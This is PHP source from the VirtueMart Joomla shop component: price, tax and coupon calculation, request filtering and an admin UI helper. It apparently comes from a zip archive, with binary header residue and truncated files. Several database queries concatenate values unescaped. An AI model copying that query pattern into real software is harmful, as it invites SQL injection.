isset($this->_cartData['VatTax'][$k]['result']) ? $this->_cartData['VatTax'][$k]['result'] : 0; $this->_cartData['VatTax'][$k]['result'] += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]); if(!isset($this->_cartData['VatTax'][$k]['virtuemart_calc_id'])) $this->_cartData['VatTax'][$k]['virtuemart_calc_id'] = $rule['virtuemart_calc_id']; if(!isset($this->_cartData['VatTax'][$k]['calc_name'])) $this->_cartData['VatTax'][$k]['calc_name'] = $rule['calc_name']; if(!isset($this->_cartData['VatTax'][$k]['calc_value'])) $this->_cartData['VatTax'][$k]['calc_value'] = $rule['calc_value']; } //$this->_cartData['taxRulesBill'] = array_merge($this->_cartData['taxRulesBill'],$this->_cartData['VatTax']); //vmdebug('$this->_cartData',$this->_cartData); //vmdebug('$this->_cartPrices',$this->_cartPrices); return $this->_cartPrices; } /** * Get the data of the CalcRule ID if it is not there * @author Maik Kuennemann * @param $VatTaxID ID of the taxe rule */ protected function getCalcRuleData($calcRuleID) { $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $calcRuleID . '"'; $this->_db->setQuery($q); $calcRule = $this->_db->loadObject(); return $calcRule; } /** * Get coupon details and calculate the value * @author Oscar van Eijk * @param $_code Coupon code */ protected function couponHandler($_code) { JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponHandler', array($_code,&$this->_cartData, &$this->_cartPrices)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); if (!($_data = CouponHelper::getCouponDetails($_code))) { return; // TODO give some error here } $_value_is_total = ($_data->percent_or_total == 'total'); $this->_cartData['couponCode'] = $_code; $this->_cartData['couponDescr'] = ($_value_is_total ? '' : (round($_data->coupon_value) . '%') ); $this->_cartPrices['salesPriceCoupon'] = ($_value_is_total ? $_data->coupon_value * -1 : ($this->_cartPrices['salesPrice'] * ($_data->coupon_value / 100)) * -1 ); // TODO Calculate the tax $this->_cartPrices['couponTax'] = 0; $this->_cartPrices['couponValue'] = $this->_cartPrices['salesPriceCoupon'] - $this->_cartPrices['couponTax']; //$this->_cartPrices['billTotal'] -= $this->_cartPrices['salesPriceCoupon']; //if($this->_cartPrices['billTotal'] < 0){ // $this->_cartPrices['billTotal'] = 0.0; //} } /** * Function to calculate discount/tax of cart rules. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers, Maik Künnemann * * @return int $price the discount/tax */ function cartRuleCalculation($rules, $baseprice, $TaxID = 0, $DBTax = false) { if (empty($rules))return 0; $rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert); if (isset($rulesEffSorted)) { $discount = 0; foreach ($rulesEffSorted as &$rule) { if(isset($rule['subTotal'])) { $cIn = $rule['subTotal']; } else { $cIn = $baseprice; } $cOut = $this->interpreteMathOp($rule, $cIn); $this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $this->roundInternal($this->roundInternal($cOut) - $cIn); $discount += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]); if(isset($rule['subTotal']) and $TaxID != 0 and $DBTax = true) { if(isset($rule['subTotalPerTaxID'][$TaxID])) { $cIn = $rule['subTotalPerTaxID'][$TaxID]; $cOut = $this->interpreteMathOp($rule, $cIn); $this->_cartData['VatTax'][$TaxID]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'] = round($this->roundInternal($this->roundInternal($cOut) - $cIn),$this->_currencyDisplay->_priceConfig['salesPrice'][1]);; } } } } return $discount; } /** * Function to execute the calculation of the gathered rules Ids. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $rules The Ids of the products * @param $price The input price, if no rule is affecting, 0 gets returned * @return int $price the endprice */ function executeCalculation($rules, $baseprice, $relateToBaseAmount=false,$setCartPrices = true) { if (empty($rules))return 0; $rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert); $price = $baseprice; $finalprice = $baseprice; if (isset($rulesEffSorted)) { foreach ($rulesEffSorted as $rule) { if(isset($rule['subTotal'])){ $cIn = $rule['subTotal']; //vmdebug('executeCalculation use subTotal of rule '.$rule['subTotal']); } else if ($relateToBaseAmount) { $cIn = $baseprice; } else { $cIn = $price; } $cOut = $this->interpreteMathOp($rule, $cIn); $tmp = $this->roundInternal($this->roundInternal($cOut) - $cIn); if($setCartPrices){ $this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $tmp; } //vmdebug('executeCalculation id : '.$rule['virtuemart_calc_id'].' = '.$tmp); //okey, this is a bit flawless logic, but should work if ($relateToBaseAmount) { $finalprice = $finalprice + $tmp; } else { $price = $cOut; } } } //okey done with it if (!$relateToBaseAmount) { $finalprice = $price; } return $finalprice; } /** * Gatheres the rules which affects the product. * * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $entrypoint The entrypoint how it should behave. Valid values should be * Profit (Commission is a profit rule that is shared, maybe we remove shared and make a new entrypoint called profit) * DBTax (Discount for wares, coupons) * Tax * DATax (Discount on money) * Duty * @return $rules The rules that effects the product as Ids */ function gatherEffectingRulesForProductPrice($entrypoint, $id) { $testedRules = array(); if ($id === -1) return $testedRules; //virtuemart_calc_id virtuemart_vendor_id calc_shopper_published calc_vendor_published published shared calc_amount_cond $countries = ''; $states = ''; $shopperGroup = ''; $entrypoint = (string) $entrypoint; if(empty($this->allrules[$this->productVendorId][$entrypoint])){ return $testedRules; } $allRules = $this->allrules[$this->productVendorId][$entrypoint]; //Cant be done with Leftjoin afaik, because both conditions could be arrays. foreach ($allRules as $i => $rule) { if(!empty($id)){ if($rule['virtuemart_calc_id']==$id){ $testedRules[$rule['virtuemart_calc_id']] = $rule; } continue; } if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['for_override'])){ continue; } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'])){ $q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['cats'] = $this->_db->loadResultArray(); } $hitsCategory = true; if (isset($this->_cats)) { $hitsCategory = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'], $this->_cats); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'])){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'] = $this->_db->loadResultArray(); } $hitsShopper = true; if (isset($this->_shopperGroupId)) { $hitsShopper = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'], $this->_shopperGroupId); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){ $q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['countries'] = $this->_db->loadResultArray(); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){ $q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['states'] = $this->_db->loadResultArray(); } $hitsDeliveryArea = true; if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){ if (!empty($this->_deliveryState)){ $hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['states'], $this->_deliveryState); } else { $hitsDeliveryArea = false; } } else if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){ if (!empty($this->_deliveryCountry)){ $hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'], $this->_deliveryCountry); } else { $hitsDeliveryArea = false; } } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'])){ $q = 'SELECT `virtuemart_manufacturer_id` FROM #__virtuemart_calc_manufacturers WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'] = $this->_db->loadResultArray(); } $hitsManufacturer = true; if (isset($this->_manufacturerId)) { $hitsManufacturer = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'], $this->_manufacturerId); } if ($hitsCategory and $hitsShopper and $hitsDeliveryArea and $hitsManufacturer) { if ($this->_debug) echo '
      Add rule ForProductPrice ' . $rule["virtuemart_calc_id"]; $testedRules[$rule['virtuemart_calc_id']] = $rule; } } //Test rules in plugins if(!empty($testedRules) and count($testedRules)>0){ JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmInGatherEffectRulesProduct',array(&$this,&$testedRules)); } return $testedRules; } /** * Gathers the effecting rules for the calculation of the bill * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $entrypoint * @param $cartVendorId * @return $rules The rules that effects the Bill as Ids */ function gatherEffectingRulesForBill($entrypoint, $cartVendorId=1) { $testedRules = array(); //Test if calculation affects the current entry point //shared rules counting for every vendor seems to be not necessary $q = 'SELECT * FROM #__virtuemart_calcs WHERE `calc_kind`="' . $entrypoint . '" AND `published`="1" AND (`virtuemart_vendor_id`="' . $cartVendorId . '" OR `shared`="1" ) AND ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" ) AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) '; // $shoppergrps . $countries . $states ; $this->_db->setQuery($q); $rules = $this->_db->loadAssocList(); foreach ($rules as $rule) { $q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $countries = $this->_db->loadResultArray(); $q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $states = $this->_db->loadResultArray(); $hitsDeliveryArea = true; //vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea $countries and states ',$countries,$states,$q); if (!empty($countries) && empty($states)) { $hitsDeliveryArea = $this->testRulePartEffecting($countries, $this->_deliveryCountry); } else if (!empty($states) ) { $hitsDeliveryArea = $this->testRulePartEffecting($states, $this->_deliveryState); vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea '.(int)$hitsDeliveryArea.' '.$this->_deliveryState,$states); } $q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $rule['calc_categories'] = $this->_db->loadResultArray(); $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $shoppergrps = $this->_db->loadResultArray(); $hitsShopper = true; if (isset($this->_shopperGroupId)) { $hitsShopper = $this->testRulePartEffecting($shoppergrps, $this->_shopperGroupId); } if ($hitsDeliveryArea && $hitsShopper) { if ($this->_debug) echo '
      Add Checkout rule ' . $rule["virtuemart_calc_id"] . '
      '; $testedRules[$rule['virtuemart_calc_id']] = $rule; } } //Test rules in plugins if(!empty($testedRules) and count($testedRules)>0){ JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmInGatherEffectRulesBill', array(&$this, &$testedRules)); } return $testedRules; } /** * Calculates the effecting Shipment prices for the calculation * @copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @author Valerie Isaksen * @param $code The Id of the coupon * @return $rules ids of the coupons */ function calculateShipmentPrice( $cart, $checkAutomaticSelected=true) { $this->_cartData['shipmentName'] = JText::_('COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED'); $this->_cartPrices['shipmentValue'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartPrices['shipmentTax'] = 0; $this->_cartPrices['salesPriceShipment'] = 0; $this->_cartPrices['shipment_calc_id'] = 0; // check if there is only one possible shipment method //if (empty($cart->virtuemart_shipmentmethod_id)){ $cart->CheckAutomaticSelectedShipment($this->_cartPrices, $checkAutomaticSelected); if (empty($cart->virtuemart_shipmentmethod_id)) return; //} // Handling shipment plugins if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePriceShipment',array( $cart, &$this->_cartPrices, &$this->_cartData['shipmentName'] )); /* * Plugin return true if shipment rate is still valid * false if not any more */ $shipmentValid=0; foreach ($returnValues as $returnValue) { $shipmentValid += $returnValue; } if (!$shipmentValid) { $cart->virtuemart_shipmentmethod_id = 0; $cart->setCartIntoSession(); } return $this->_cartPrices; } /** * Calculates the effecting Payment prices for the calculation * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @author Valerie Isaksen * @param $code The Id of the paymentmethod * @param $value amount of the money to transfere * @param $value $cartVendorId * @return $paymentCosts The amount of money the customer has to pay. Calculated in shop currency */ function calculatePaymentPrice($cart, $checkAutomaticSelected=true) { // if (empty($code)) return 0.0; // $code=4; $this->_cartData['paymentName'] = JText::_('COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED'); $this->_cartPrices['paymentValue'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartPrices['paymentTax'] = 0; $this->_cartPrices['paymentTotal'] = 0; $this->_cartPrices['salesPricePayment'] = 0; $this->_cartPrices['payment_calc_id'] = 0; // check if there is only one possible payment method //if (empty($cart->virtuemart_paymentmethod_id)){ $cart->CheckAutomaticSelectedPayment($this->_cartPrices, $checkAutomaticSelected); if (empty($cart->virtuemart_paymentmethod_id)) return; //} if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePricePayment',array( $cart, &$this->_cartPrices, &$this->_cartData['paymentName'] )); /* * Plugin return true if payment plugin is valid * false if not valid anymore * only one value is returned */ $paymentValid=0; foreach ($returnValues as $returnValue) { $paymentValid += $returnValue; } if (!$paymentValid) { $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); } return $this->_cartPrices; } function calculateCustomPriceWithTax($price) { $price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $price,true); if(VmConfig::get('cVarswT',1)){ $taxRules = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $vattaxRules = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); $rules = array_merge($taxRules,$vattaxRules); if(!empty($rules)){ $price = $this->executeCalculation($rules, $price, true); } $price = $this->roundInternal($price); } return $price; } /** * This function just writes the query for gatherEffectingRulesForProductPrice * When a condition is not set, it is handled like a set condition that affects it. So the users have only to add a value * for the conditions they want to (You dont need to enter a start or end date when the rule should count everytime). * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $data the ids of the rule, for exampel the ids of the categories that affect the rule * @param $field the name of the field in the db, for exampel calc_categories to write a rule that asks for the field calc_categories * @return $q The query */ function writeRulePartEffectingQuery($data, $field, $setAnd=0) { $q = ''; if (!empty($data)) { if ($setAnd) { $q = ' AND ('; } else { $q = ' ('; } foreach ($data as $id) { $q = $q . '`' . $field . '`="' . $id . '" OR'; } $q = $q . '`' . $field . '`="0" )'; } return $q; } /** * This functions interprets the String that is entered in the calc_value_mathop field * The first char is the signum of the function. The more this function can be enhanced * maybe with function that works like operators, the easier it will be to make more complex disount/commission/profit formulas * progressive, nonprogressive and so on. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $mathop String reprasentation of the mathematical operation, valid ('+','-','+%','-%') * @param $value float The value that affects the price * @param $currency int the currency which should be used * @param $price float The price to calculate */ function interpreteMathOp($rule, $price) { $mathop = $rule['calc_value_mathop']; $value = (float)$rule['calc_value']; $currency = $rule['calc_currency']; //$mathop, $value, $price, $currency='') $coreMathOp = array('+','-','+%','-%'); if(!$this->_revert){ $plus = '+'; $minus = '-'; } else { $plus = '-'; $minus = '+'; } if(in_array($mathop,$coreMathOp)){ $sign = substr($mathop, 0, 1); $calculated = false; if (strlen($mathop) == 2) { $cmd = substr($mathop, 1, 2); if ($cmd == '%') { if(!$this->_revert){ $calculated = $price * $value / 100.0; } else { if(!empty($value)){ if($sign == $plus){ $calculated = abs($price /(1 - (100.0 / $value))); } else { $calculated = abs($price /(1 + (100.0 / $value))); } } else { vmdebug('interpreteMathOp $value is empty '.$rule['calc_name']); } // vmdebug('interpreteMathOp $price'.$price.' $value '.$value.' $sign '.$sign.' '.$plus.' $calculated '.$calculated); } } } else if (strlen($mathop) == 1){ $calculated = $this->_currencyDisplay->convertCurrencyTo($currency, $value); } // vmdebug('interpreteMathOp',$price,$calculated,$plus); if($sign == $plus){ return $price + (float)$calculated; } else if($sign == $minus){ return $price - (float)$calculated; } else { VmError('Unrecognised mathop '.$mathop.' in calculation rule found'); return $price; } } else { JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); //$calculated = $dispatcher->trigger('interpreteMathOp', array($this, $mathop, $value, $price, $currency,$this->_revert)); $calculated = $dispatcher->trigger('plgVmInterpreteMathOp', array($this, $rule, $price,$this->_revert)); //vmdebug('result of plgVmInterpreteMathOp',$calculated); if($calculated){ foreach($calculated as $calc){ if($calc) return $calc; } } else { VmError('Unrecognised mathop '.$mathop.' in calculation rule found, seems you created this rule with plugin not longer accesible (deactivated, uninstalled?)'); return $price; } } } /** * Standard round function, we round every number with 6 fractionnumbers * We need at least 4 to calculate something like 9.25% => 0.0925 * 2 digits * Should be setable via config (just for the crazy case) */ function roundInternal($value,$name = 0) { if(!$this->_roundindig and $name!==0){ if(isset($this->_currencyDisplay->_priceConfig[$name][1])){ //vmdebug('roundInternal rounding use '.$this->_currencyDisplay->_priceConfig[$name][1].' digits'); return round($value,$this->_currencyDisplay->_priceConfig[$name][1]); } else { vmdebug('roundInternal rounding not found for '.$name,$this->_currencyDisplay->_priceConfig[$name]); return round($value, $this->_internalDigits); } } else { return round($value, $this->_internalDigits); } } /** * Round function for display with 6 fractionnumbers. * For more information please read http://en.wikipedia.org/wiki/Propagation_of_uncertainty * and http://www.php.net/manual/en/language.types.float.php * So in case of € or $ it is rounded in cents * Should be setable via config * @deprecated */ /* function roundDisplay($value) { return round($value, 4); }*/ /** * Can test the tablefields Category, Country, State * If the the data is 0 false is returned */ function testRulePartEffecting($rule, $data) { if (!isset($rule)) return true; if (!isset($data)) return false; if (is_array($rule)) { if (count($rule) == 0) return true; } else { $rule = array($rule); } if (!is_array($data)) $data = array($data); $intersect = array_intersect($rule, $data); if ($intersect) { return true; } else { return false; } } /** Sorts indexed 2D array by a specified sub array key * * Copyright richard at happymango dot me dot uk * @author Max Milbers */ function record_sort($records, $field, $reverse=false) { if (is_array($records)) { $hash = array(); foreach ($records as $record) { if(isset($record[$field])){ $keyToUse = $record[$field]; while (array_key_exists($keyToUse, $hash)) { $keyToUse = $keyToUse + 1; } $hash[$keyToUse] = $record; } } ($reverse) ? krsort($hash) : ksort($hash); $records = array(); foreach ($hash as $record) { $records [] = $record; } } return $records; } /** * Calculate a pricemodification for a variant * * Variant values can be in the following format: * Array ( [Size] => Array ( [XL] => +1 [M] => [S] => -2 ) [Power] => Array ( [strong] => [middle] => [poor] => =24 ) ) * * In the post is the data for the chosen variant, when there is a hit, it gets calculated * * Returns all variant modifications summed up or the highest price set with '=' * * @todo could be slimmed a bit down, using smaller array for variantnames, this could be done by using the parseModifiers method, needs to adjust the post * @author Max Milbers * @param int $virtuemart_product_id the product ID the attribute price should be calculated for * @param array $variantnames the value of the variant * @return array The adjusted price modificator */ public function calculateModificators(&$product, $variants) { $modificatorSum = 0.0; //MarkerVarMods foreach ($variants as $selected => $variant) { if (!empty($selected)) { $query = 'SELECT C.* , field.* FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE field.`virtuemart_customfield_id`=' .(int) $selected; $this->_db->setQuery($query); $productCustomsPrice = $this->_db->loadObject(); //A plugin can have a zero price and create it, so no if(!empty(customprice here if ($productCustomsPrice->field_type =='E') { if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmCalculateCustomVariant',array(&$product, &$productCustomsPrice,$selected,$modificatorSum)); } if (!empty($productCustomsPrice->custom_price)) { vmdebug('calculateModificators davor',$productCustomsPrice->custom_price); $productCustomsPrice->custom_price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $productCustomsPrice->custom_price,true); vmdebug('calculateModificators danach',$productCustomsPrice->custom_price); //TODO adding % and more We should use here $this->interpreteMathOp $modificatorSum = $modificatorSum + $productCustomsPrice->custom_price; } } } return $modificatorSum; } public function parseModifier($name) { $variants = array(); if ($index = strpos($name, '::')) { $virtuemart_product_id = substr($name, 0, $index); $allItems = substr($name, $index + 2); $items = explode(';', $allItems); foreach ($items as $item) { if (!empty($item)) { //vmdebug('parseModifier $item',$item); $index2 = strpos($item, ':'); if($index2!=false){ $selected = substr($item, 0, $index2); $variant = substr($item, $index2 + 1); // echo 'My selected '.$selected; // echo ' My $variant '.$variant.' '; //TODO productCartId //MarkerVarMods $variants[$selected] = $variant; //this works atm not for the cart //$variants[$variant] = $selected; //but then the orders are broken } } } } //vmdebug('parseModifier $variants',$variants); return $variants; } } PK@y>\hB<  .components/com_virtuemart/helpers/vrequest.phpnuW+A); public static function uword($field, $default='', $custom=''){ $source = self::getVar($field,$default); return self::filterUword($source,$custom); } public static function filterUword($source, $custom,$replace=''){ if(function_exists('mb_ereg_replace')){ //$source is string that will be filtered, $custom is string that contains custom characters return mb_ereg_replace('[^\w'.preg_quote($custom).']', $replace, $source); } else { return preg_replace("~[^\w".preg_quote($custom,'~')."]~", $replace, $source); //We use Tilde as separator, and give the preq_quote function the used separator } } public static function getBool($name, $default = 0){ $tmp = self::get($name, $default, FILTER_SANITIZE_NUMBER_INT); if($tmp){ $tmp = true; } else { $tmp = false; } return $tmp; } public static function getInt($name, $default = 0){ return self::get($name, $default, FILTER_SANITIZE_NUMBER_INT); } public static function getFloat($name,$default=0.0){ return self::get($name,$default,FILTER_SANITIZE_NUMBER_FLOAT,FILTER_FLAG_ALLOW_SCIENTIFIC|FILTER_FLAG_ALLOW_FRACTION); } /** * - Strips all characters that has a numerical value <32. * - Strips all html. * * @param $name * @param null $default * @return mixed|null */ public static function getVar($name, $default = null){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW ); } /** * - Strips all characters that has a numerical value <32. * - encodes html * * @param $name * @param string $default * @return mixed|null */ public static function getString($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_SPECIAL_CHARS,FILTER_FLAG_STRIP_LOW); } public static function getHtml($name, $default = ''){ $tmp = self::get($name, $default); return JComponentHelper::filterText($tmp); } /** * Gets a filtered request value * - Strips all characters that has a numerical value <32 and >127. * - strips html * @author Max Milbers * @param $name * @param string $default * @return mixed|null */ public static function getCmd($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH); } public static function getWord($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH); } /** * Main filter function, called by the others with set Parameters * The standard filter is non restrictiv. * * @author Max Milbers * @param $name * @param null $default * @param int $filter * @param int $flags * @return mixed|null */ public static function get($name, $default = null, $filter = FILTER_UNSAFE_RAW, $flags = FILTER_FLAG_STRIP_LOW){ //vmSetStartTime(); if(!empty($name)){ if(!isset($_REQUEST[$name])) return $default; //if(strpos($name,'[]'!==FALSE)){ if(is_array($_REQUEST[$name])){ return filter_var_array($_REQUEST[$name], $filter ); } else { return filter_var($_REQUEST[$name], $filter, $flags); } } else { vmTrace('empty name in vRequest::get'); return $default; } } /** * Gets the request and filters it directly. It uses the standard php function filter_var_array, * The standard filter allows all chars, also the special ones. But removes dangerous html tags. * * @author Max Milbers * @param array $filter * @return mixed cleaned $_REQUEST */ public static function getRequest( ){ return filter_var_array($_REQUEST, FILTER_SANITIZE_STRING); } public static function getPost( ){ return filter_var_array($_POST, FILTER_SANITIZE_STRING); } public static function getGet( ){ return filter_var_array($_GET, FILTER_SANITIZE_STRING); } public static function getFiles($name){ return filter_var_array($_FILES[$name], FILTER_SANITIZE_STRING); } public static function setVar($name, $value = null){ if(isset($_REQUEST[$name])){ $tmp = $_REQUEST[$name]; $_REQUEST[$name] = $value; return $tmp; } else { $_REQUEST[$name] = $value; return null; } } /** * Checks for a form token in the request. * * @return boolean True if token valid * */ public static function vmCheckToken($redirectMsg=0){ $token = self::getFormToken(); if (!self::uword($token, false)){ if ($rToken = self::uword('token', false)){ if($rToken == $token){ return true; } } $session = JFactory::getSession(); if ($session->isNew()){ // Redirect to login screen. $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php'), vmText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED')); $app->close(); } else { if($redirectMsg===0){ $redirectMsg = 'Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task'); //jexit('Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task')); } else { $redirectMsg = vmText::_($redirectMsg); } // Redirect to login screen. $app = JFactory::getApplication(); $session->close(); $app->redirect(JRoute::_('index.php'), $redirectMsg); $app->close(); return false; } } else { return false; } } public static function getFormToken($fNew = false){ $user = JFactory::getUser(); $session = JFactory::getSession(); if(empty($user->id)) $user->id = 0; $hash = JApplication::getHash($user->id . $session->getToken($fNew)); return $hash; } }PK@y>\%e#e#-components/com_virtuemart/helpers/adminui.phpnuW+AaddStyleSheet($admin.'css/admin_ui.css'); //$document->addStyleSheet($admin.'css/admin_menu.css'); $document->addStyleSheet($admin.'css/admin.styles.css'); $document->addStyleSheet($admin.'css/toolbar_images.css'); $document->addStyleSheet($admin.'css/menu_images.css'); $document->addStyleSheet($front.'css/chosen.css'); $document->addStyleSheet($front.'css/vtip.css'); $document->addStyleSheet($front.'css/jquery.fancybox-1.3.4.css'); $document->addStyleSheet($front.'css/ui/jquery.ui.all.css'); //$document->addStyleSheet($admin.'css/jqtransform.css'); //loading defaut script $document->addScript($front.'js/fancybox/jquery.mousewheel-3.0.4.pack.js'); $document->addScript($front.'js/fancybox/jquery.easing-1.3.pack.js'); $document->addScript($front.'js/fancybox/jquery.fancybox-1.3.4.pack.js'); $document->addScript($admin.'js/jquery.coookie.js'); $document->addScript($front.'js/chosen.jquery.min.js'); $document->addScript($admin.'js/vm2admin.js'); $vm2string = "editImage: 'edit image',select_all_text: '".JText::_('COM_VIRTUEMART_DRDOWN_SELALL')."',select_some_options_text: '".JText::_($selectText)."'" ; $document->addScriptDeclaration ( " // "); ?> '.vmView::getToolbar($vmView).'
      '; ?>
      value array. key = template name, value = Language File contraction * @params $cookieName = choose a cookiename or leave empty if you don't want cookie tabs in this place * @example 'shop' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB' */ static public function buildTabs($view, $load_template = array(),$cookieName='') { $cookieName = JRequest::getWord('view','virtuemart').$cookieName; $document = JFactory::getDocument (); $document->addScriptDeclaration ( ' var virtuemartcookie="'.$cookieName.'"; '); $html = '
      '; foreach ( $load_template as $tab_content => $tab_title ) { $html .= '
      '; $html .= $view->loadTemplate ( $tab_content ); $html .= '
      '; } $html .= '
      '; echo $html; } /** * Admin UI Tabs Imitation * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design * @param $return = return the start tag or the closing tag - choose 'start' or 'end' * @params $language = pass the language string */ static function imitateTabs($return,$language = '') { if ($return == 'start') { $document = JFactory::getDocument (); $document->addScriptDeclaration ( ' var virtuemartcookie="vm-tab"; '); $html = '
      '; echo $html; } if ($return == 'end') { $html = '
